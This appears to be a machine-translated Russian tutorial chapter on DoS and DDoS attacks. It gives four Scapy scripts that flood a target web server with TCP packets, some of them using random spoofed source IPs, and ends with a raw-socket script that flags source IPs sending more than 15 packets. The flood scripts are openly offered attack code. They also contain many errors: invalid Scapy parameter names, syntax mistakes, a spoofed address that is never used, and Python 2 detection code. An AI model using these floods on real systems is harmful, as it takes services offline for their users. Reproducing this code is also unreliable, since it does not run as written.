Учебники

DoS & DDoS атака

В этой главе мы узнаем о атаках DoS и DdoS и узнаем, как их обнаружить.

С бумом в индустрии электронной коммерции, веб-сервер теперь подвержен атакам и стал легкой целью для хакеров. Хакеры обычно пытаются два типа атаки —

  • DoS (отказ в обслуживании)
  • DDoS (распределенный отказ в обслуживании)

DoS (отказ в обслуживании) атака

Атака «отказ в обслуживании» (DoS) — это попытка хакеров сделать сетевой ресурс недоступным. Обычно он прерывает хост, временный или неопределенный, который подключен к Интернету. Эти атаки обычно нацелены на службы, размещенные на критически важных веб-серверах, таких как банки, шлюзы оплаты кредитными картами.

Симптомы DoS-атаки

  • Необычно низкая производительность сети.

  • Недоступность определенного веб-сайта.

  • Невозможность получить доступ к любому веб-сайту.

  • Резкое увеличение количества полученных спам-писем.

  • Долгосрочный отказ в доступе к сети или любым интернет-сервисам.

  • Недоступность конкретного сайта.

Необычно низкая производительность сети.

Недоступность определенного веб-сайта.

Невозможность получить доступ к любому веб-сайту.

Резкое увеличение количества полученных спам-писем.

Долгосрочный отказ в доступе к сети или любым интернет-сервисам.

Недоступность конкретного сайта.

Типы DoS-атак и их реализация на Python

DoS-атака может быть реализована на канале передачи данных, на уровне сети или на уровне приложений. Давайте теперь узнаем о различных типах DoS-атак &; их реализация в Python —

Один IP один порт

Большое количество пакетов отправляется на веб-сервер с использованием одного IP-адреса и с одного номера порта. Это низкоуровневая атака, которая используется для проверки поведения веб-сервера. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт Python поможет реализовать DoS-атаку с одним IP-портом —

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
      i = i + 1

После выполнения вышеприведенный скрипт запросит следующие три вещи:

  • IP-адрес источника и цели.

  • IP-адрес номера порта источника.

  • Затем он отправит большое количество пакетов на сервер для проверки его поведения.

IP-адрес источника и цели.

IP-адрес номера порта источника.

Затем он отправит большое количество пакетов на сервер для проверки его поведения.

Один IP, несколько портов

Большое количество пакетов отправляется на веб-сервер с использованием одного IP-адреса и нескольких портов. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт на python поможет реализовать DoS-атаку с несколькими IP-портами:

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt, inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Несколько IP один порт

Большое количество пакетов отправляется на веб-сервер с использованием нескольких IP-адресов и с одного номера порта. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт Python реализует DoS-атаку с несколькими портами на один IP —

from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   
   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1

Несколько IP несколько портов

Большое количество пакетов отправляется на веб-сервер с использованием нескольких IP-адресов и с нескольких портов. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт Python помогает реализовать DoS-атаку с несколькими портами —

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

DDoS-атака (распределенный отказ в обслуживании)

Распределенная атака типа «отказ в обслуживании» (DDoS) — это попытка сделать веб-службу или веб-сайт недоступными, перегружая их огромным потоком трафика, генерируемым из нескольких источников.

В отличие от атаки типа «отказ в обслуживании» (DoS), в которой один компьютер и одно подключение к Интернету используются для заполнения целевого ресурса пакетами, атака DDoS использует много компьютеров и множество подключений к Интернету, часто распределенных по всему миру в том, что называется ботнетом. , Крупномасштабная DDoS-атака может генерировать трафик, измеряемый десятками гигабит (и даже сотнями гигабит) в секунду. Это можно прочитать подробно на https://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm .

Обнаружение DDoS с использованием Python

На самом деле DDoS-атаку немного сложно обнаружить, потому что вы не знаете, что хост, отправляющий трафик, является поддельным или реальным. Сценарий Python, приведенный ниже, поможет обнаружить DDoS-атаку.

Для начала давайте импортируем необходимые библиотеки —

import socket
import struct

from datetime import datetime

Теперь мы создадим сокет, как и в предыдущих разделах.

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)

Мы будем использовать пустой словарь —

dict = {}

Следующая строка кода откроет текстовый файл, содержащий подробную информацию о DDoS-атаке в режиме добавления.

file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())

С помощью следующей строки кода при каждом запуске программы будет записываться текущее время.

file_txt.writelines(t1)
file_txt.writelines("\n")

Теперь нам нужно принять на себя попадания с определенного IP. Здесь мы предполагаем, что если конкретный IP-адрес будет срабатывать более 15 раз, то это будет атака.

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP

Следующая строка кода проверит, существует ли IP в словаре или нет. Если он существует, то он увеличится на 1.

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]

Следующая строка кода используется для удаления избыточности.

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1

После запуска вышеуказанного скрипта мы получим результат в текстовом файле. Согласно сценарию, если IP-адрес попадет более 15 раз, он будет напечатан при обнаружении DDoS-атаки вместе с этим IP-адресом.